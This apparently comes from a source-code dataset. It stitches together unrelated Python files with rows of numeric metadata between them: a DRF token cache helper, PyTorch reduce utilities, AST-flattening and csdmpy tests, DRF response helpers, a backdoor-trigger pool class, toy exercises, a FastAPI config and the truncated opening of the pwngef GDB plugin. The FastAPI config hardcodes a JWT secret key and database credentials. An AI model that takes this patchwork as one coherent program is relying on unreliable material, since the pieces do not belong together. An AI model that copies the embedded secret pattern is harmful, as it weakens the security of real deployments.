return caches[settings.BACKEND]
def get_cache_key(key):
return 'drf_cached_token:{key}'.format(key=key)
def clear_cache():
cache = get_cache()
cache.delete_pattern('drf_cached_token*')
| 16.764706 | 51 | 0.726316 | 41 | 285 | 4.804878 | 0.463415 | 0.121827 | 0.111675 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 285 | 16 | 52 | 17.8125 | 0.820833 | 0 | 0 | 0 | 0 | 0 | 0.136842 | 0.077193 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.222222 | 0.222222 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
28dd3a9c094f2aca186b0856d1cd3f63b4345f35 | 818 | py | Python | a_DynConv/utils/pyt_utils.py | ShafinH/ViT-FL-main | e479a797d1494d4cb85fc40c6148f520cfcadfaf | [
"MIT"
] | null | null | null | a_DynConv/utils/pyt_utils.py | ShafinH/ViT-FL-main | e479a797d1494d4cb85fc40c6148f520cfcadfaf | [
"MIT"
] | null | null | null | a_DynConv/utils/pyt_utils.py | ShafinH/ViT-FL-main | e479a797d1494d4cb85fc40c6148f520cfcadfaf | [
"MIT"
] | null | null | null | # encoding: utf-8
import os
import sys
import time
import argparse
from collections import OrderedDict, defaultdict
import torch
import torch.utils.model_zoo as model_zoo
import torch.distributed as dist
from .logger import get_logger
logger = get_logger()
def reduce_tensor(tensor, dst=0, op=dist.ReduceOp.SUM, world_size=1):
tensor = tensor.clone()
dist.reduce(tensor, dst, op)
if dist.get_rank() == dst:
tensor.div_(world_size)
return tensor
def all_reduce_tensor(tensor, op=dist.ReduceOp.SUM, world_size=1, norm=True):
tensor = tensor.clone()
dist.all_reduce(tensor, op)
if norm:
tensor.div_(world_size)
return tensor
def extant_file(x):
if not os.path.exists(x):
raise argparse.ArgumentTypeError("{0} does not exist".format(x))
return x
| 20.45 | 77 | 0.712714 | 122 | 818 | 4.647541 | 0.418033 | 0.084656 | 0.063492 | 0.059965 | 0.21164 | 0.21164 | 0.21164 | 0 | 0 | 0 | 0 | 0.00753 | 0.188264 | 818 | 39 | 78 | 20.974359 | 0.846386 | 0.018337 | 0 | 0.230769 | 0 | 0 | 0.0225 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.115385 | false | 0 | 0.346154 | 0 | 0.576923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
28f34c1fe39a7f80c72d3be6a3e618ec859660cb | 6,339 | py | Python | tests/test_flatten_ast.py | laowantong/paroxython | 4626798a60eeaa765dbfab9e63e04030c9fcb1d0 | [
"MIT"
] | 31 | 2020-05-02T13:34:26.000Z | 2021-06-06T17:25:52.000Z | tests/test_flatten_ast.py | laowantong/paroxython | 4626798a60eeaa765dbfab9e63e04030c9fcb1d0 | [
"MIT"
] | 108 | 2019-11-18T19:41:52.000Z | 2022-03-18T13:58:17.000Z | tests/test_flatten_ast.py | laowantong/paroxython | 4626798a60eeaa765dbfab9e63e04030c9fcb1d0 | [
"MIT"
] | 4 | 2020-05-19T08:57:44.000Z | 2020-09-21T08:53:46.000Z | import pytest
import regex
import context
from paroxython.flatten_ast import ast, flatten_ast, pseudo_hash
sources = r"""
<<< Examples of _type, _length, _pos and _hash (full output)
42
---
/_type=Module # Any node has a type, stored under _type
/body/_length=1 # Any sequence has a length, stored under _length
/body/1/_type=Expr # The first line of a body is numbered 1
/body/1/_pos=1:1- # _pos consists in the line number, followed by the path from the AST root
/body/1/value/_type=Num
/body/1/value/_hash=0x0001 # Each expression has a unique identifier, stored in _hash
/body/1/value/_pos=1:1-0-
/body/1/value/n=42
/type_ignores/_length=0
>>>
<<< Example of function
def foo():
bar()
buz()
---
/body/1/_type=FunctionDef
/body/1/_pos=1:1-
/body/1/name=foo
/body/1/args/_type=arguments
/body/1/args/args/_length=0
/body/1/args/vararg=None
/body/1/args/kwonlyargs/_length=0
/body/1/args/kw_defaults/_length=0
/body/1/args/kwarg=None
/body/1/args/defaults/_length=0
/body/1/decorator_list/_length=0 # moved before the body of the function
/body/1/returns=None # moved before the body of the function
/body/1/type_comment=None
/body/1/body/_length=2 # start of the body of the function
>>>
<<< Example of conditional else
if c:
pass
else:
pass
---
/body/1/_type=If
/body/1/_pos=1:1-
/body/1/test/_type=Name
/body/1/test/_hash=0x0001
/body/1/test/_pos=1:1-0-
/body/1/test/id=c
/body/1/test/ctx/_type=Load
/body/1/body/_length=1
/body/1/body/1/_type=Pass
/body/1/body/1/_pos=2:1-1-1-
/body/1/orelse/_length=1
/body/1/orelse/1/_type=Pass
/body/1/orelse/1/_pos=4:1-2-1-
>>>
<<< Example of loop else
while c:
pass
else:
pass
---
/body/1/_type=While
/body/1/_pos=1:1-
/body/1/test/_type=Name
/body/1/test/_hash=0x0001
/body/1/test/_pos=1:1-0-
/body/1/test/id=c
/body/1/test/ctx/_type=Load
/body/1/body/_length=1
/body/1/body/1/_type=Pass
/body/1/body/1/_pos=2:1-1-1-
/body/1/loopelse/_length=1 # renamed from "orelse" to "loopelse"
/body/1/loopelse/1/_type=Pass
/body/1/loopelse/1/_pos=4:1-2-1-
>>>
<<< Example of assignement
a = 1
---
/body/1/_type=Assign
/body/1/_pos=1:1-
/body/1/assigntargets/_length=1 # renamed from "targets" to "assigntargets"
/body/1/assigntargets/1/_type=Name
/body/1/assigntargets/1/_hash=0x0001
/body/1/assigntargets/1/_pos=1:1-0-1-
/body/1/assigntargets/1/id=a
/body/1/assigntargets/1/ctx/_type=Store
/body/1/assignvalue/_type=Num # renamed from "value" to "assignvalue"
/body/1/assignvalue/_hash=0x0002
/body/1/assignvalue/_pos=1:1-1-
/body/1/assignvalue/n=1
>>>
<<< Example of augmented assignement
a += 1
---
/body/1/_type=AugAssign
/body/1/_pos=1:1-
/body/1/assigntarget/_type=Name # renamed from "target" to "assigntarget"
/body/1/assigntarget/_hash=0x0001
/body/1/assigntarget/_pos=1:1-0-
/body/1/assigntarget/id=a
/body/1/assigntarget/ctx/_type=Store
/body/1/op/_type=Add
/body/1/assignvalue/_type=Num # renamed from "value" to "assignvalue"
/body/1/assignvalue/_hash=0x0002
/body/1/assignvalue/_pos=1:1-2-
/body/1/assignvalue/n=1
>>>
<<< Example of deletion
del a
---
/body/1/_type=Delete
/body/1/_pos=1:1-
/body/1/targets/_length=1 # note the use of "targets"
/body/1/targets/1/_type=Name
/body/1/targets/1/_hash=0x0001
/body/1/targets/1/_pos=1:1-0-1-
/body/1/targets/1/id=a
/body/1/targets/1/ctx/_type=Del
>>>
<<< Example of comprehension
[x for x in s]
---
/body/1/value/_type=ListComp # note the use of "value"
/body/1/value/_hash=0x0001
/body/1/value/_pos=1:1-0-
/body/1/value/elt/_type=Name
/body/1/value/elt/_hash=0x0002
/body/1/value/elt/_pos=1:1-0-0-
/body/1/value/elt/id=x
/body/1/value/elt/ctx/_type=Load
/body/1/value/generators/_length=1
/body/1/value/generators/1/_type=comprehension
/body/1/value/generators/1/target/_type=Name # note the use of "target"
/body/1/value/generators/1/target/_hash=0x0002
/body/1/value/generators/1/target/_pos=1:1-0-1-1-0-
/body/1/value/generators/1/target/id=x
/body/1/value/generators/1/target/ctx/_type=Store
>>>
<<< Examples of importation
from m import f1
from . import f2
---
/body/1/_type=ImportFrom
/body/1/_pos=1:1-
/body/1/module=m # no quotes
/body/1/names/_length=1
/body/1/names/1/_type=alias
/body/1/names/1/name=f1
/body/1/names/1/asname=None
/body/1/level=0
/body/2/_type=ImportFrom
/body/2/_pos=2:2-
/body/2/module=None # no problem, since "from None import f" would raise a syntax error
/body/2/names/_length=1
/body/2/names/1/_type=alias
/body/2/names/1/name=f2
/body/2/names/1/asname=None
/body/2/level=1
>>>
<<< Examples of strings
"hello world"
""
"\n"
---
/body/1/_type=Expr
/body/1/_pos=1:1-
/body/1/value/_type=Str
/body/1/value/_hash=0x0001
/body/1/value/_pos=1:1-0-
/body/1/value/s=hello world # stripped from its quote delimiters
/body/2/_type=Expr
/body/2/_pos=2:2-
/body/2/value/_type=Str
/body/2/value/_hash=0x0002
/body/2/value/_pos=2:2-0-
/body/2/value/s= # an empty string is followed by an \n
/body/3/_type=Expr
/body/3/_pos=3:3-
/body/3/value/_type=Str
/body/3/value/_hash=0x0003
/body/3/value/_pos=3:3-0-
/body/3/value/s=\n # which is distinct from the string "\n"
>>>
<<< Examples of function call (full output)
print("hello, world")
---
/_type=Module
/body/_length=1
/body/1/_type=Expr
/body/1/_pos=1:1-
/body/1/value/_type=Call
/body/1/value/_hash=0x0001
/body/1/value/_pos=1:1-0-
/body/1/value/func/_type=Name
/body/1/value/func/_hash=0x0002
/body/1/value/func/_pos=1:1-0-0-
/body/1/value/func/id=print
/body/1/value/func/ctx/_type=Load
/body/1/value/args/_length=1
/body/1/value/args/1/_type=Str
/body/1/value/args/1/_hash=0x0003
/body/1/value/args/1/_pos=1:1-0-1-1-
/body/1/value/args/1/s=hello, world
/body/1/value/keywords/_length=0
/type_ignores/_length=0
>>>
<<< Example of negative literal
-42
---
/body/1/_type=Expr
/body/1/_pos=1:1-
/body/1/value/_type=Num
/body/1/value/_hash=0x0001
/body/1/value/_pos=1:1-0-
/body/1/value/n=-42
>>>
"""
source_rex = regex.compile(r"(?ms)^<<< ([^\n]+)\n(.+?)\n---\n(.*?)\n>>>")
examples = [m for m in source_rex.findall(sources)]
@pytest.mark.parametrize("title, source, expected", examples)
def test_flatten_ast(title, source, expected):
expected = regex.sub(r" +# .+", "", expected)
pseudo_hash.reset()
print(title)
print("-" * len(title))
result = flatten_ast(ast.parse(source)).strip()
print(result)
assert expected in result
if __name__ == "__main__":
pytest.main(["-qq", __import__("sys").argv[0]])
| 25.25498 | 92 | 0.7121 | 1,197 | 6,339 | 3.637427 | 0.148705 | 0.152733 | 0.094166 | 0.019293 | 0.479329 | 0.359899 | 0.282958 | 0.236334 | 0.214745 | 0.198209 | 0 | 0.073141 | 0.09197 | 6,339 | 250 | 93 | 25.356 | 0.683287 | 0 | 0 | 0.343348 | 0 | 0.025751 | 0.908818 | 0.514908 | 0 | 0 | 0.017037 | 0 | 0.004292 | 1 | 0.004292 | false | 0.034335 | 0.04721 | 0 | 0.051502 | 0.021459 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
28f9a26a179b928cdbb275e5264d7644dd5555a3 | 3,094 | py | Python | tests/file_read/fileread_test.py | deepanshs/csdmpy | bd4e138b10694491113b10177a89305697f1752c | [
"BSD-3-Clause"
] | 7 | 2021-07-07T09:55:20.000Z | 2022-01-22T06:34:17.000Z | tests/file_read/fileread_test.py | deepanshs/csdmpy | bd4e138b10694491113b10177a89305697f1752c | [
"BSD-3-Clause"
] | 16 | 2021-06-09T06:28:27.000Z | 2022-03-01T18:12:33.000Z | tests/file_read/fileread_test.py | deepanshs/csdmpy | bd4e138b10694491113b10177a89305697f1752c | [
"BSD-3-Clause"
] | 1 | 2020-01-03T17:04:16.000Z | 2020-01-03T17:04:16.000Z | # -*- coding: utf-8 -*-
from os import path
import pytest
import csdmpy as cp
COMMON_PATH = path.join("tests", "file_read", "test_files")
def file_testing(file_, error, error_type):
with pytest.raises(error_type, match=f".*{error}.*"):
cp.load(file_)
def test_01():
file_ = path.join(COMMON_PATH, "1.csdfe")
error = "'CSDM' is not a valid keyword for the CSD model."
file_testing(file_, error, KeyError)
def test_02():
file_ = path.join(COMMON_PATH, "2.csdfe")
error = "Missing a required `version` key from the CSDM object."
file_testing(file_, error, KeyError)
def test_03():
file_ = path.join(COMMON_PATH, "3.csdfe")
error = "Expecting an instance of type `int` for count, got `str`."
file_testing(file_, error, TypeError)
def test_04():
file_ = path.join(COMMON_PATH, "4.csdfe")
error = "The value, `tensor`, is an invalid `quantity_type`"
file_testing(file_, error, ValueError)
def test_05():
file_ = path.join(COMMON_PATH, "5.csdfe")
error = "The quantity_type, 'vector_2', requires exactly 2 component"
file_testing(file_, error, Exception)
def test_06():
file_ = path.join(COMMON_PATH, "6.csdfe")
error = "The value, `float16`, is an invalid `numeric_type`"
file_testing(file_, error, ValueError)
def test_07():
file_ = path.join(COMMON_PATH, "7.csdfe")
error = "Missing a required `coordinates` key from the MonotonicDimension"
file_testing(file_, error, KeyError)
def test_08():
file_ = path.join(COMMON_PATH, "8.csdfe")
error = "A list of string labels are required, found int"
file_testing(file_, error, ValueError)
def test_09():
file_ = path.join(COMMON_PATH, "9.csdfe")
error = "Missing a required `quantity_type` key from the DependentVariable"
file_testing(file_, error, KeyError)
def test_10():
file_ = path.join(COMMON_PATH, "10.csdfe")
error = "Missing a required `numeric_type` key from the DependentVariable"
file_testing(file_, error, KeyError)
def test_11():
file_ = path.join(COMMON_PATH, "11.csdfe")
error = "The `encoding` key is invalid for DependentVariable objects"
file_testing(file_, error, KeyError)
def test_12():
file_ = path.join(COMMON_PATH, "12.csdfe")
error = "Missing a required 'type' key from the Dimension object."
file_testing(file_, error, KeyError)
def test_13():
file_ = path.join(COMMON_PATH, "13.csdfe")
error = "Missing a required `count` key from the LinearDimension."
file_testing(file_, error, KeyError)
def test_14():
file_ = path.join(COMMON_PATH, "14.csdfe")
error = "Missing a required `type` key from the DependentVariable."
file_testing(file_, error, KeyError)
def test_15():
file_ = path.join(COMMON_PATH, "15.csdfe")
error = "The value, 'blah', is invalid for the `type` attribute"
file_testing(file_, error, ValueError)
def test_16():
file_ = path.join(COMMON_PATH, "16.csdfe")
error = "Missing a required `labels` key from the LabeledDimension object."
file_testing(file_, error, KeyError)
| 28.127273 | 79 | 0.688106 | 436 | 3,094 | 4.667431 | 0.238532 | 0.083538 | 0.125307 | 0.167076 | 0.581818 | 0.332187 | 0.315479 | 0.210319 | 0.12973 | 0.097297 | 0 | 0.023857 | 0.187136 | 3,094 | 109 | 80 | 28.385321 | 0.785288 | 0.006787 | 0 | 0.197183 | 0 | 0 | 0.344839 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.239437 | false | 0 | 0.042254 | 0 | 0.28169 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
28fccd38f74dcf61b73cf78a19fa9ad336365a74 | 1,214 | py | Python | core/utils/default_responses.py | RympeR/HypeFans | 28c3712af47fec4df2fe3df43c6e0ad26302bcbc | [
"MIT"
] | null | null | null | core/utils/default_responses.py | RympeR/HypeFans | 28c3712af47fec4df2fe3df43c6e0ad26302bcbc | [
"MIT"
] | null | null | null | core/utils/default_responses.py | RympeR/HypeFans | 28c3712af47fec4df2fe3df43c6e0ad26302bcbc | [
"MIT"
] | 2 | 2021-05-20T10:43:17.000Z | 2021-06-09T08:12:24.000Z | from rest_framework import status
from rest_framework.response import Response
def api_created_201(obj: dict = {}):
return Response(
obj,
status=status.HTTP_201_CREATED
)
def api_accepted_202(obj: dict = {}):
return Response(
obj,
status=status.HTTP_202_ACCEPTED
)
def api_used_226(obj: dict = {}):
return Response(
obj,
status=status.HTTP_226_IM_USED
)
def api_bad_request_400(obj: dict = {}):
return Response(
obj,
status=status.HTTP_400_BAD_REQUEST
)
def api_payment_required_402(obj: dict = {}):
return Response(
obj,
status=status.HTTP_402_PAYMENT_REQUIRED
)
def api_not_found_404(obj: dict = {}):
return Response(
obj,
status=status.HTTP_404_NOT_FOUND
)
def api_locked_423(obj: dict = {}):
return Response(
obj,
status=status.HTTP_423_LOCKED
)
def api_block_by_policy_451(obj: dict = {}):
return Response(
obj,
status=status.HTTP_451_UNAVAILABLE_FOR_LEGAL_REASONS
)
def api_not_implemented_501(obj: dict = {}):
return Response(
obj,
status=status.HTTP_501_NOT_IMPLEMENTED
)
| 18.393939 | 60 | 0.636738 | 151 | 1,214 | 4.774834 | 0.264901 | 0.074896 | 0.162275 | 0.262136 | 0.499307 | 0.499307 | 0.499307 | 0.499307 | 0 | 0 | 0 | 0.061224 | 0.273476 | 1,214 | 65 | 61 | 18.676923 | 0.756236 | 0 | 0 | 0.382979 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.191489 | false | 0 | 0.042553 | 0.191489 | 0.425532 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
28feb079f1817247799bc09cc16c7c5c6d111719 | 1,203 | py | Python | lib/triggerpool.py | superrrpotato/Defending-Neural-Backdoors-via-Generative-Distribution-Modeling | 05d16507ac40c2180058ca475442fbc8bb5fd2bd | [
"MIT"
] | 27 | 2019-11-18T20:33:13.000Z | 2022-03-04T03:26:46.000Z | lib/triggerpool.py | superrrpotato/Defending-Neural-Backdoors-via-Generative-Distribution-Modeling | 05d16507ac40c2180058ca475442fbc8bb5fd2bd | [
"MIT"
] | 3 | 2020-03-26T20:26:47.000Z | 2021-03-10T01:37:33.000Z | lib/triggerpool.py | superrrpotato/Defending-Neural-Backdoors-via-Generative-Distribution-Modeling | 05d16507ac40c2180058ca475442fbc8bb5fd2bd | [
"MIT"
] | 3 | 2019-12-16T13:14:22.000Z | 2022-01-20T19:39:57.000Z | class TriggerPool:
def __init__(self):
self.triggers = [] # Trigger list
self.results = [] # Result list
def add(self, trigger):
"""add one trigger to the pool"""
self.triggers.append(trigger)
def test(self, model, data):
"""test untested triggers"""
untested_triggers = range(len(self.results), len(self.triggers))
for i in untested_triggers:
self.results.append(model.test(data, 0.1, self.triggers[i]))
def expand(self, num=1):
"""add new triggers based on self-expansion rules"""
scores = [result.accuracy() for result in self.results] # TODO: add density punishment
best_trigger = self.triggers[scores.index(max(scores))]
def spawn(trigger):
return trigger.duplicate().add_noise(type_="Gaussian",args={"std":0.1})
for i in range(num):
self.add(spawn(best_trigger))
def success_triggers(self, threshold=90):
"""threshold 0~100. return a list of triggers"""
return [self.triggers[i]
for i in range(len(self.results))
if self.results[i].accuracy() >= threshold] | 41.482759 | 94 | 0.592685 | 148 | 1,203 | 4.743243 | 0.385135 | 0.102564 | 0.025641 | 0.054131 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012717 | 0.280964 | 1,203 | 29 | 95 | 41.482759 | 0.798844 | 0.162095 | 0 | 0 | 0 | 0 | 0.011156 | 0 | 0 | 0 | 0 | 0.034483 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.047619 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e9056c4d8dc05a718b501d797088ada2e10db0c3 | 149 | py | Python | src/0070_climbing_stairs.py | soamsy/leetcode | 091f3b33e44613fac130ff1018c8b63493798f09 | [
"MIT"
] | null | null | null | src/0070_climbing_stairs.py | soamsy/leetcode | 091f3b33e44613fac130ff1018c8b63493798f09 | [
"MIT"
] | null | null | null | src/0070_climbing_stairs.py | soamsy/leetcode | 091f3b33e44613fac130ff1018c8b63493798f09 | [
"MIT"
] | null | null | null | def climbStairs(n: int) -> int:
stairs = [1, 1]
for i in range(2, n + 1):
stairs.append(stairs[-1] + stairs[-2])
return stairs[n] | 29.8 | 46 | 0.550336 | 24 | 149 | 3.416667 | 0.541667 | 0.170732 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055046 | 0.268456 | 149 | 5 | 47 | 29.8 | 0.697248 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e90dbb70a6cbb5e3f64b96817f0d5857e747ac4b | 235 | py | Python | palindrome check.py | nirvan94/python-projects | e3c94c49db6a8eaa48a8812d55fc2391471a4ab1 | [
"MIT"
] | null | null | null | palindrome check.py | nirvan94/python-projects | e3c94c49db6a8eaa48a8812d55fc2391471a4ab1 | [
"MIT"
] | null | null | null | palindrome check.py | nirvan94/python-projects | e3c94c49db6a8eaa48a8812d55fc2391471a4ab1 | [
"MIT"
] | null | null | null | text=input('Enter and check if your input is a palindrome or not: ')
ltext=text.lower()
rtext="".join((reversed(ltext)))
if rtext==ltext:
print('Your input is a palindrome.')
else:
print('Your input is not a palindrome.') | 33.571429 | 69 | 0.680851 | 37 | 235 | 4.324324 | 0.513514 | 0.16875 | 0.20625 | 0.15 | 0.275 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174468 | 235 | 7 | 70 | 33.571429 | 0.824742 | 0 | 0 | 0 | 0 | 0 | 0.486957 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.285714 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e914822c373ebeae8477a539bfe3f13a61c7200f | 2,493 | py | Python | tests/unit_tests/test_UpdatedSynDataset_specified_target_with_background.py | liyu711/SUAS | 2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b | [
"MIT"
] | null | null | null | tests/unit_tests/test_UpdatedSynDataset_specified_target_with_background.py | liyu711/SUAS | 2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b | [
"MIT"
] | null | null | null | tests/unit_tests/test_UpdatedSynDataset_specified_target_with_background.py | liyu711/SUAS | 2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b | [
"MIT"
] | null | null | null | """
Running Successfully
import unittest
import math
from PIL import Image
from SyntheticDataset2.ImageCreator.specified_target_with_background import SpecifiedTargetWithBackground
class SpecifiedTargetWithBackgroundTestCase(unittest.TestCase):
def setUp(self):
self.path_to_background = "tests/images/competition_grass_1.JPG"
self.test_image1 = SpecifiedTargetWithBackground("circle", "?", "A", (255, 255, 255, 255), (255, 0, 0, 255), 0).create_specified_target_with_background()
self.test_image2 = SpecifiedTargetWithBackground("semicircle", "E", "E", (0, 255, 0, 255), (0, 0, 255, 255), 45).create_specified_target_with_background()
self.test_image3 = SpecifiedTargetWithBackground("cross", "D", "I", (255, 255, 0, 255), (255, 0, 255, 255), 90).create_specified_target_with_background()
self.test_image4 = SpecifiedTargetWithBackground("heptagon", "S", "O", (0, 255, 255, 255), (0, 0, 0, 255), 135).create_specified_target_with_background()
self.test_image5 = SpecifiedTargetWithBackground("star", "N", "U", (66, 66, 66, 255), (233, 233, 233, 255), 180).create_specified_target_with_background()
'''
Settings:
PPSI = 10
SINGLE_TARGET_SIZE_IN_INCHES = 24
SINGLE_TARGET_PROPORTIONALITY = 2.5
PIXELIZATION_LEVEL = 0
NOISE_LEVEL = 0
'''
def test_create_specified_target_with_specified_background(self):
self.assertTrue(abs(max(self.test_image1.width, self.test_image1.height) - 260) < 3)
self.assertTrue(self.test_image1.load()[self.test_image1.width/2, self.test_image1.height/2] == (255, 255, 255))
self.assertTrue(abs(max(self.test_image2.width, self.test_image2.height) - 260) < 3)
self.assertTrue(self.test_image2.load()[self.test_image2.width/2, self.test_image2.height/2] == (0, 255, 0))
self.assertTrue(abs(max(self.test_image2.width, self.test_image2.height) - 260) < 3)
self.assertTrue(self.test_image3.load()[self.test_image3.width/2, self.test_image3.height/2] == (255, 0, 255))
self.assertTrue(abs(max(self.test_image2.width, self.test_image2.height) - 260) < 3)
self.assertTrue(self.test_image4.load()[self.test_image4.width/2, self.test_image4.height/2] == (0, 255, 255))
self.assertTrue(abs(max(self.test_image2.width, self.test_image2.height) - 260) < 3)
self.assertTrue(self.test_image5.load()[self.test_image5.width/2, self.test_image5.height/2] == (66, 66, 66))
"""
| 57.976744 | 162 | 0.703169 | 334 | 2,493 | 5.035928 | 0.236527 | 0.142687 | 0.099881 | 0.103448 | 0.394768 | 0.348989 | 0.332342 | 0.211058 | 0.211058 | 0.211058 | 0 | 0.098485 | 0.152828 | 2,493 | 42 | 163 | 59.357143 | 0.697917 | 0.99639 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e918c35699e2f18c524ea2607503032b711d8bb7 | 774 | py | Python | src/conf/config.py | peterHoburg/fastapi_example | 09353b2a1a2a9d80f8d7d197cfa21736de53a293 | [
"MIT"
] | null | null | null | src/conf/config.py | peterHoburg/fastapi_example | 09353b2a1a2a9d80f8d7d197cfa21736de53a293 | [
"MIT"
] | null | null | null | src/conf/config.py | peterHoburg/fastapi_example | 09353b2a1a2a9d80f8d7d197cfa21736de53a293 | [
"MIT"
] | null | null | null | import os
from fastapi.security import OAuth2PasswordBearer
from passlib.context import CryptContext
from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")
# openssl rand -hex 32
SECRET_KEY = "1e752489cd7e8603c9baf984849cf3750791aa675c5c728041782b470674ec33"
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 30
POSTGRES_DATABASE_URL = os.environ.get("POSTGRES_DATABASE_URL_ENV", "postgresql://test:test@postgres/test")
engine = create_engine(POSTGRES_DATABASE_URL)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()
| 32.25 | 107 | 0.835917 | 87 | 774 | 7.241379 | 0.597701 | 0.066667 | 0.090476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080395 | 0.083979 | 774 | 23 | 108 | 33.652174 | 0.808181 | 0.02584 | 0 | 0 | 0 | 0 | 0.192819 | 0.166223 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.2 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
e924bb9503dad7bb8c4740229e775a96756952b0 | 2,488 | py | Python | pwngef/__init__.py | GH0st3rs/pwngef | 77619d7266f58523fda2c40a54255093389027e6 | [
"MIT"
] | 8 | 2019-05-28T08:03:07.000Z | 2022-02-23T03:34:30.000Z | pwngef/__init__.py | GH0st3rs/pwngef | 77619d7266f58523fda2c40a54255093389027e6 | [
"MIT"
] | 2 | 2019-04-02T12:36:04.000Z | 2019-08-14T08:31:28.000Z | pwngef/__init__.py | GH0st3rs/pwngef | 77619d7266f58523fda2c40a54255093389027e6 | [
"MIT"
] | 3 | 2019-08-13T11:03:02.000Z | 2021-05-13T19:13:04.000Z | #!/usr/bin/python
import signal
import gdb
import pwngef.arch
import pwngef.color
import pwngef.commands
import pwngef.commands.context
import pwngef.commands.heap
import pwngef.commands.hexdump
import pwngef.commands.ida
import pwngef.commands.next
import pwngef.commands.pattern
import pwngef.commands.pcustom
import pwngef.commands.registers
import pwngef.commands.theme
import pwngef.commands.self
import pwngef.disassemble
import pwngef.exception
import pwngef.functions
import pwngef.handlers
import pwngef.memory
import pwngef.proc
import pwngef.prompt
import pwngef.regs
import pwngef.typeinfo
import pwngef.ui
__version__ = '0.1.0'
version = __version__
__all__ = [
'arch',
'chain',
'color',
'events',
'heap',
'hexdump',
'ida',
'memoize',
'memory',
'proc',
'regs',
'typeinfo',
'ui',
]
gdb.prompt_hook = pwngef.prompt.set_prompt
pre_commands = [
'set confirm off',
'set verbose off',
'set pagination off',
'set height 0',
'set history filename /tmp/.gdb_history'
'set history expansion on',
'set history save on',
'set follow-fork-mode child',
